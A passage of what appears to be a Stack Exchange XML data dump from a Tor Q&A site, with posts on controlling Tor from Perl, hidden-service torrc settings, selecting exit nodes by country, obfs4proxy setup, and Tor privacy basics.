$response-&amp;gt;code();&#xA;    if ($code &amp;gt; 399) {&#xA;        #####################################&#xA;        #  TELL TOR TO USE A NEW EXIT NODE  #&#xA;        #####################################&#xA;    } else {&#xA;        $content = $response-&amp;gt;content;&#xA;    }&#xA;}&#xA;print $content;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, that this example is simplified: Not all http-status above 400 are usefull to change the route, and there are also some other reasons, that make it necessary to tell &lt;code&gt;tor&lt;/code&gt; to use a new exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) How can a perl script tell &lt;code&gt;tor&lt;/code&gt; to change its route?&lt;br&gt;&#xA;b) What other possibilities are there to control &lt;code&gt;tor&lt;/code&gt; from a perl script?&lt;/p&gt;&#xA;" OwnerUserId="1856" LastActivityDate="2020-10-05T18:34:13.903" Title="control tor via perl script" Tags="|configuration|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8845" PostTypeId="2" ParentId="8844" CreationDate="2015-10-16T16:45:04.233" Score="2" Body="&lt;p&gt;In response to part a) of your question, you can send Tor a SIGHUP. This won't kill the process, merely cause it to reload its configuration file, and create a new circuit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your script you could either use &lt;code&gt;kill&lt;/code&gt; (using &lt;code&gt;system()&lt;/code&gt;, etc.), in which case you'd need to know the pid of the Tor process you're controlling, or &lt;code&gt;pkill&lt;/code&gt;, though in the case of the latter, you'd have no way of distinguishing between different Tor processes (if you were running more than one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;kill -SIGHUP &amp;lt;pid_of_tor&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;pkill -SIGHUP tor&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This assumes you're on a Linux box. I believe OS X has the similar &lt;code&gt;-HUP&lt;/code&gt; signal, and I imagine Windows does too. Check the &lt;code&gt;man&lt;/code&gt; page for more signals that can be handled by the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With regards to part b) of your question, I don't have any Perl-specific suggestions. If you're open to other scripting languages, have a look at &lt;a href=&quot;https://stem.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Stem&lt;/a&gt; - a fully featured Python API - or one of the other controller libraries listed on &lt;a href=&quot;https://stem.torproject.org/faq.html#are-there-any-other-controller-libraries&quot; rel=&quot;nofollow&quot;&gt;Stem's FAQ page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following short script has been tested and works with the desired effect of killing an already-running Tor process:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/perl&#xA;use strict;&#xA;&#xA;system('pkill -SIGHUP tor')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit #2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's likely that the script won't work as desired in the OP's case (see comments below). However, the answer may be of use to others with slightly different requirements.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="1730" LastEditDate="2015-10-21T18:44:08.550" LastActivityDate="2015-10-21T18:44:08.550" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8847" PostTypeId="2" ParentId="8834" CreationDate="2015-10-17T16:12:22.873" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I know that my traffic is encrypted&lt;br&gt;&#xA;  and Tor scrubs my information on its way to the first node. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Tor does not change/censor the data you transfer, it just encrypts it with the public keys of the relays in the circuit. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Only a bad node may get my IP. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Good or bad, the 1st node (Guard) always knows your IP address, and no other node knows your IP address. (Except the exit if you transfer it as part of the data, unencrypted.)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How about when my data is in transit. Is the IP hidden? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Your data is always 'in transit'.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your Tor client has a TCP connection to your Guard. The Guard knows your IP and your ISP knows you connect to your Guard to use Tor. (Obviously, your ISP knows your IP, because they gave it to you.) The 2nd node does not know your IP.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can some one Ping me and hack me if they know my IP address while I am using tails/tor(assuming all data goes through tor)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When someone knows your IP address, they can ping you. This is not through Tor. (It is up to your router to reply to  ping.)&lt;br&gt;&#xA;Whether someone can hack you depends on whether your network and computer have vulnerabilities that are exposed to the internet. Regardless of Tor.&lt;br&gt;&#xA;When someone uses your IP address for an attack, then they do not go through Tor. An attack through Tor would most likely be an attack on your browser and not use/need your IP address.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-10-17T16:12:22.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8848" PostTypeId="2" ParentId="8832" CreationDate="2015-10-17T16:35:01.727" Score="7" Body="&lt;p&gt;The worst thing that can happen is that the add-on tries to access the internet and doesn't use Tor.&lt;br&gt;&#xA;&lt;strong&gt;--&gt; that will destroy your anonymity and release your real IP address!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully the worst thing will not happen, but what definitely happens is that you(r browser) will get more trackable with every additional add-on!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here are some tests to see how unique your profile is and what can/will be tracked:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://panopticlick.eff.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Panopticlick&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ip-check.info/?lang=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;IP check&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.browserleaks.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BrowserLeaks&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;...to be really save i would suggest to use &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails&lt;/a&gt;!&lt;br /&gt;&#xA;the related FAQ of Tails about this topic: &lt;a href=&quot;https://tails.boum.org/support/faq/index.en.html#index12h2&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Can I install other add-ons in Tor Browser?&quot;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5234" LastEditorUserId="5234" LastEditDate="2018-09-21T13:36:46.967" LastActivityDate="2018-09-21T13:36:46.967" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="8849" PostTypeId="2" ParentId="8767" CreationDate="2015-10-17T16:41:58.780" Score="0" Body="&lt;p&gt;Without any more information, my best guess would be that it connects to directory servers to get an updated consensus. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check that the IPs that your Tor connects to are known relays.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-10-17T16:41:58.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8850" PostTypeId="1" CreationDate="2015-10-18T16:17:37.180" Score="0" ViewCount="38" Body="&lt;p&gt;Before I updated, the browser would tell me where I was logging on from:  Germany, France and such. Now it only gives an IP address. I travel extensively and often require an identity from the US and now it's very difficult to tell where I am connecting through. Is there any way to address this?&lt;/p&gt;&#xA;" OwnerUserId="9662" LastEditorUserId="350" LastEditDate="2015-10-18T16:40:00.157" LastActivityDate="2015-10-18T19:28:34.037" Title="Identity within TOR Browser" Tags="|browsers|" AnswerCount="0" CommentCount="2" ClosedDate="2017-06-15T10:51:19.140" ContentLicense="CC BY-SA 3.0" />
  <row Id="8855" PostTypeId="1" CreationDate="2015-10-19T16:50:09.557" Score="2" ViewCount="5213" Body="&lt;p&gt;If I want to run a hidden service on my own Windows, how should I install Tor software on it and then configure the torrc file to add those 2 lines needed for running a hidden service?&lt;/p&gt;&#xA;" OwnerUserId="8253" LastEditorUserId="350" LastEditDate="2015-11-07T20:20:09.650" LastActivityDate="2015-11-07T20:20:09.650" Title="How to install Tor on Windows 7 for running a hidden service?" Tags="|windows|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8856" PostTypeId="2" ParentId="8855" CreationDate="2015-10-19T17:23:55.900" Score="0" Body="&lt;p&gt;You're going to want to download the Tor Browser. At this point you are going to want to test that the Tor Browser is indeed working. Also you are going to need to have a web server setup. From there you are just going to open the torrc with a notepad editor and change the torrc to fit your existing webserver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lines needed in torrc (need to be modified to fit your setup):&#xA;HiddenServiceDir C:\Users\username\Documents\tor\hidden_service&#xA;HiddenServicePort 80 127.0.0.1:8080&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For installing tor browser:&#xA;&lt;a href=&quot;https://www.torproject.org/docs/tor-doc-windows.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/tor-doc-windows.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For configuring torrc / setup webserver:&#xA;&lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/tor-hidden-service.html.en&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9509" LastEditorUserId="9509" LastEditDate="2015-10-21T14:34:33.250" LastActivityDate="2015-10-21T14:34:33.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8857" PostTypeId="2" ParentId="8758" CreationDate="2015-10-19T17:59:37.990" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;NameVirtualHost 127.0.0.1:6666&lt;br&gt;&#xA;  Listen 127.0.0.1:6666&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Your server listens to port 6666 ..&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;HiddenServicePort 6666 127.0.0.1:7777&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;.. but your Tor tries to connect to 7777 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should change your &lt;code&gt;HiddenServicePort&lt;/code&gt; directive to&lt;br&gt;&#xA;&lt;code&gt;HiddenServicePort 6666 127.0.0.1:6666&lt;/code&gt;&lt;br&gt;&#xA;or even&lt;br&gt;&#xA;&lt;code&gt;HiddenServicePort 80 127.0.0.1:6666&lt;/code&gt; (in this case, you don't have to put a port number in the .onion url.) &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-10-19T17:59:37.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8858" PostTypeId="2" ParentId="8773" CreationDate="2015-10-19T18:15:35.663" Score="1" Body="&lt;p&gt;When you use Tor, not for hidden services, your exit node can know and do what normally your ISP can know and do. So if your ISP has no reason to mess with you, it is more secure to not use Tor. (Since you don't need anonymity.) Using https fixes this either way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regardless of Tor, if you don't use https, the ISP on the other side can also tamper with your data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Personally, I use Tor for casual browsing and to access hidden services, but not for logging in on personal accounts.)&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-10-19T18:15:35.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8859" PostTypeId="1" CreationDate="2015-10-19T21:59:50.497" Score="1" ViewCount="2760" Body="&lt;p&gt;I watch few geographically restricted channels via tor, by manually changing the exit nodes in the torrc file to the corresponding geographic location the go to the channel address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, I would like to be able to do the following.&#xA;save or bookmark few channels, or make some desktop shortcuts, say for channels a,b, and c, so that when i click any it perform the following,&#xA;1- change the exitnodes value in torrc file to one corresponding to the given shortcut,&#xA;2- restart tor&#xA;3- go to the webpage that stream that channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;values for a given shortcut (i.e., exitnodes, web address) are known.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is this doable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please advise!&lt;/p&gt;&#xA;" OwnerUserId="9671" LastActivityDate="2021-03-01T08:05:12.123" Title="changing exit node automatically?" Tags="|exit-relays|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8862" PostTypeId="1" CreationDate="2015-10-20T08:53:27.033" Score="2" ViewCount="4557" Body="&lt;p&gt;Right now I'm using obfs3,obfs2 and b64 with my OpenVPN server and sadly they are slow in my country (Iran)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These obfuscation methods are slow at morning and they get fast at after noon (I don't know why but i think it's my government doing this, I think because internet speed in after noon is slow enough and they turn off their firewall to don't make it slower)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when i used obfs4 in Tor browser i saw it's pretty fast&#xA;So let me know how i can change my commands for obfs4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to install obfs4proxy in my ubuntu server and windows client i just need to run write commands&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my ubuntu 14.04 server i run &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obfsproxy obfs3 --dest=127.0.0.1:1194 server 0.0.0.0:532&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in my windows client i run&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obfsproxy --no-log obfs3 socks 127.0.0.1:21025&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So how to convert them?&lt;/p&gt;&#xA;" OwnerUserId="9673" LastActivityDate="2015-10-20T08:53:27.033" Title="How to use Obfs4Proxy" Tags="|obfs4|" AnswerCount="0" CommentCount="0" ClosedDate="2016-10-14T22:58:04.213" ContentLicense="CC BY-SA 3.0" />
  <row Id="8863" PostTypeId="1" AcceptedAnswerId="8887" CreationDate="2015-10-20T11:11:51.920" Score="2" ViewCount="526" Body="&lt;p&gt;The &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/tor-spec.txt&quot; rel=&quot;nofollow&quot;&gt;Tor protocol&lt;/a&gt; version 1 uses 512-byte cells to obfuscate traffic patterns:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Traffic flowing down the circuit is sent in fixed-size ``cells'',&#xA;  which are unwrapped by a symmetric key at each node (like the layers&#xA;  of an onion) and relayed downstream.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;yet it seems as though protocol versions 2-4 allow variable-length cells (see the spec linked above, search for variable-length).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are those ever used in practice? What is the purpose of variable-length cells?&lt;/p&gt;&#xA;" OwnerUserId="9411" LastEditorUserId="9411" LastEditDate="2015-10-22T08:14:27.283" LastActivityDate="2015-10-23T17:19:29.270" Title="Usage and purpose of variable-length cells?" Tags="|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8864" PostTypeId="2" ParentId="8859" CreationDate="2015-10-20T11:21:32.920" Score="0" Body="&lt;p&gt;The easiest path for you might be to set the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#AllowDotExit&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;AllowDotExit&lt;/code&gt;&lt;/a&gt; flag in your torrc and use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://myurl.com.myexitnode.exit/params&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should use the exit node you specified, in this case &lt;code&gt;myexitnode&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="9411" LastActivityDate="2015-10-20T11:21:32.920" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="8865" PostTypeId="2" ParentId="7071" CreationDate="2015-10-20T11:42:24.407" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Please tell me I'm missing something!?!?!?!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Well, yes, you might.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The Onion Routers which relay your traffic (a, b, and c) are often interconnected anyways, relaying not just your traffic, but much other traffic as well.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;They &lt;a href=&quot;http://In%20most%20instances,%20properly%20configured%20Tor%20relays%20will%20have%20no%20useful%20data%20for%20inquiring%20parties,%20and%20you%20should%20feel%20free%20to%20educate%20them%20on%20this%20point.&quot; rel=&quot;nofollow noreferrer&quot;&gt;should not keep connection logs&lt;/a&gt;:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In most instances, properly configured Tor relays will have no useful&#xA;  data for inquiring parties, and you should feel free to educate them&#xA;  on this point.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Wikileaks has a hidden service, which increases the trouble of someone trying to find out who connected by increasing the number of hops to six, f.ex.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If someone can observe all of those relays which forward the data, you might indeed have a timing attack problem, as &lt;a href=&quot;https://tor.stackexchange.com/a/7076/9411&quot;&gt;@Nick answered&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="9411" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-10-20T11:42:24.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8866" PostTypeId="2" ParentId="8859" CreationDate="2015-10-20T18:16:58.707" Score="1" Body="&lt;p&gt;When you start the Tor Browser, you can pass it a specific &lt;code&gt;torrc&lt;/code&gt; file by using the &lt;code&gt;-f&lt;/code&gt; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact that you can do this means you can create desktop icons that will open the Tor Browser with a &lt;code&gt;torrc&lt;/code&gt; file of your choice, giving you the equivalent of &lt;code&gt;tor.exe -f torrc_USA&lt;/code&gt;, &lt;code&gt;tor.exe -f torrc_UK&lt;/code&gt;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each country you want to use as an exit, create a separate &lt;code&gt;torrc&lt;/code&gt; file, in each one including the &lt;code&gt;ExitNodes {country_code}&lt;/code&gt; line. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then create a shortcut icon to the Tor Browser Bundle, and edit it to include the appropriate &lt;code&gt;torrc&lt;/code&gt; file. The shortcut is created automatically when you first extract Tor, so you just need to edit it. (You can do this by right-clicking on it, selecting Properties, and then adding &lt;code&gt;-f &amp;lt;location_of_torrc_file&amp;gt;&lt;/code&gt; to the Targets box. Make sure these new arguments are outside of the &lt;code&gt;&quot;&lt;/code&gt; marks.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this method you don't need to know the IP address of an exit node in a particular country - you just specify the country.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can repeat the same method for each country you might want to use, resulting in several shortcuts which you can then rename appropriately. (e.g. &quot;Start Tor Browser - US&quot;, &quot;Start Tor Browser - UK&quot;, etc.)&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-10-20T18:16:58.707" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8867" PostTypeId="2" ParentId="8676" CreationDate="2015-10-20T20:42:30.030" Score="-1" Body="&lt;p&gt;Uninstall / reinstall Tor&#xA;change the DNS addresses&#xA;Use Proxy port 9050 &amp;amp; Adress 127.0.0.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it works for me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is proper operation report&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advanced Onion Router v0.3.0.20&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Click &quot;Connect&quot; to connect to the OR network.&#xA;These are the proxy settings you can use:&#xA;    Address: 127.0.0.1&#xA;    Port: 9050&#xA;    127.0.0.1:9050&#xA;Use &quot;Intercept&quot; to be sure that your proxy settings are always used.&#xA;&#xA;Download locations:&#xA;    http://www.te-home.net/?do=work&amp;amp;id=advor&#xA;    http://sourceforge.net/projects/advtor/files/&#xA;    http://www.softpedia.com/get/Internet/Servers/WEB-Servers/Advanced-TOR.shtml&#xA;For feature requests and bug reports use one of the following forums:&#xA;    http://www.te-home.net/?do=forum&amp;amp;id=advor&#xA;    http://sourceforge.net/p/advtor/discussion/&#xA;(no registration required: anonymous posting is allowed)&#xA;&#xA;[22:37:59] [notice] The Tor Directory Consensus has changed how many circuits we must track to detect network failures from 0 to 20.&#xA;[22:37:59] [notice] No current certificate known for authority turtles; launching request.&#xA;[22:37:59] [notice] No current certificate known for authority urras; launching request.&#xA;[22:37:59] [notice] Bootstrapped 5%: Connecting to directory server.&#xA;[22:38:00] [notice] We now have enough directory information to build circuits.&#xA;[22:38:00] [notice] Bootstrapped 80%: Connecting to the Tor network.&#xA;[22:38:00] [notice] No current certificate known for authority turtles; launching request.&#xA;[22:38:00] [notice] No current certificate known for authority urras; launching request.&#xA;[22:38:00] [warn] Requested exit point '$8224F92848237E5CF55AE5C1860B0D78D153C239' would refuse request. Closing.&#xA;[22:38:00] [warn] Making tunnel to dirserver failed.&#xA;[22:38:01] [warn] Requested exit point '$489D94333DF66D57FFE34D9D59CC2D97E2CB0053' would refuse request. Closing.&#xA;[22:38:01] [warn] Making tunnel to dirserver failed.&#xA;[22:38:01] [warn] Requested exit point '$D74ABE34845190E242EC74BA28B8C89B0A480D4B' would refuse request. Closing.&#xA;[22:38:01] [warn] Making tunnel to dirserver failed.&#xA;[22:38:01] [notice] No current certificate known for authority turtles; launching request.&#xA;[22:38:01] [notice] No current certificate known for authority urras; launching request.&#xA;[22:38:01] [notice] Bootstrapped 85%: Finishing handshake with first hop.&#xA;[22:38:02] [notice] Bootstrapped 90%: Establishing a Tor circuit.&#xA;[22:38:03] [warn] Got a certificate for turtles that we already have. Maybe they haven't updated it.  Waiting for a while.&#xA;[22:38:03] [warn] Got a certificate for urras that we already have. Maybe they haven't updated it.  Waiting for a while.&#xA;[22:38:03] [notice] Strange value for circuit build time: -330970msec. Assuming clock jump. Purpose 5 (General-purpose client)&#xA;[22:38:03] [notice] Tor has successfully opened a circuit. Looks like client functionality is working.&#xA;[22:38:03] [notice] Bootstrapped 100%: Connected to the OR network..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9676" LastEditorUserId="350" LastEditDate="2015-10-21T07:47:07.523" LastActivityDate="2015-10-21T07:47:07.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8868" PostTypeId="1" AcceptedAnswerId="8953" CreationDate="2015-10-20T22:18:22.647" Score="4" ViewCount="6518" Body="&lt;p&gt;I've been researching for many hours, but haven't found a definite answer.&#xA;Is it possible for a client to connect to a hidden service with websocket? &#xA;If so, how can I learn more? If not, is there an alternative that will allow socket communication besides http from a client to a Tor hidden service?&lt;/p&gt;&#xA;" OwnerDisplayName="user9675" LastActivityDate="2015-11-07T01:10:47.823" Title="WebSocket over Tor" Tags="|protocol|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8869" PostTypeId="1" CreationDate="2015-10-21T00:20:40.887" Score="2" ViewCount="4010" Body="&lt;p&gt;First:  I've never used Tor Browser or similar applications, so please forgive my noobness.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure I've done everything correctly, but I still can't seem to connect.  I've downloaded the newest version of Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've disabled firewall and my free Avast anti-virus.  At least, I think I did.  I'm not too sure how to check on that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I open Tor Browser, the small window opens while &quot;trying to connect.&quot;  However, I always get an error message &quot;Could not connect to Tor control port.&quot;  I'm not sure what I'm missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running Win 7.&lt;/p&gt;&#xA;" OwnerUserId="9680" LastActivityDate="2015-11-03T14:15:37.140" Title="Error when executing &quot;Tor Browser&quot;" Tags="|windows|troubleshooting|tor-install|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8870" PostTypeId="1" CreationDate="2015-10-21T00:48:05.877" Score="0" ViewCount="94" Body="&lt;p&gt;Use a Motorola Moto-E for my device. Successfully downloaded Tor, Orweb, and Duck Duck Goose browser, however, even though Tor says it's active, when I check any browser (DDG, Chrome, Google) the device says I am configured for Tor, gives me an apparent address, then says my browser isn't on For and I should download the app (again?), which doesn't work. Reload doesn't fix it, either. &lt;/p&gt;&#xA;" OwnerUserId="9681" LastEditorUserId="350" LastEditDate="2015-10-21T07:50:13.970" LastActivityDate="2015-10-22T22:23:43.967" Title="What am I doing wrong, or is it my device?" Tags="|help|troubleshooting|mobile|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8871" PostTypeId="2" ParentId="4169" CreationDate="2015-10-21T08:52:09.333" Score="0" Body="&lt;p&gt;In my experience, using an application like Skype over Tor would defeat the purpose of Tor and perhaps even compromise the security and anonymity of the Tor relays due to the nature of the Skype network as well as the tremendous amount of meta-data collected by Skype. With this information, a malicious attacker or state sponsored spying and wiretapping efforts could uncover enough of the Tor network to render it's overall purpose useless. In short, please do not use Skype or other social networking/communication apps over Tor as you may compromise the security of everyone who depends on Tor in the process.&lt;/p&gt;&#xA;" OwnerUserId="9683" LastActivityDate="2015-10-21T08:52:09.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8873" PostTypeId="1" CreationDate="2015-10-21T11:54:43.190" Score="5" ViewCount="882" Body="&lt;p&gt;I'm trying to create a private Tor network and currently configuring the Directory Server.&#xA;I run the command &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor --list-fingerprint&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it returns&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Clients don't have long-term identity keys. Exiting.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I correctly understand, I need the fingerprint for this line in torrc config file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DirServer [nickname] [flags] address:port fingerprint&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where should I get the fingerprint for the Directory Server ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="7498" LastActivityDate="2016-03-10T21:45:31.687" Title="Creating Directory Server" Tags="|configuration|directory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8874" PostTypeId="2" ParentId="8870" CreationDate="2015-10-21T14:04:33.213" Score="1" Body="&lt;p&gt;You're going to want to use Orweb, or download Orfox and run that as your browser. No need for chrome or duckduckgo browser at this point, those would be better suited for your clearnet activity. I'm sure you could setup these to route through tor but its much easier/safer to use Orfox or Orweb which come pre-configured with privacy in mind and automatically route through Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Orfox is actually from the Tor Project so I would recommend using it over Orweb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Orfox:&#xA;&lt;a href=&quot;https://play.google.com/store/apps/details?id=info.guardianproject.orfox&amp;amp;hl=en&quot; rel=&quot;nofollow&quot;&gt;https://play.google.com/store/apps/details?id=info.guardianproject.orfox&amp;amp;hl=en&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9509" LastActivityDate="2015-10-21T14:04:33.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
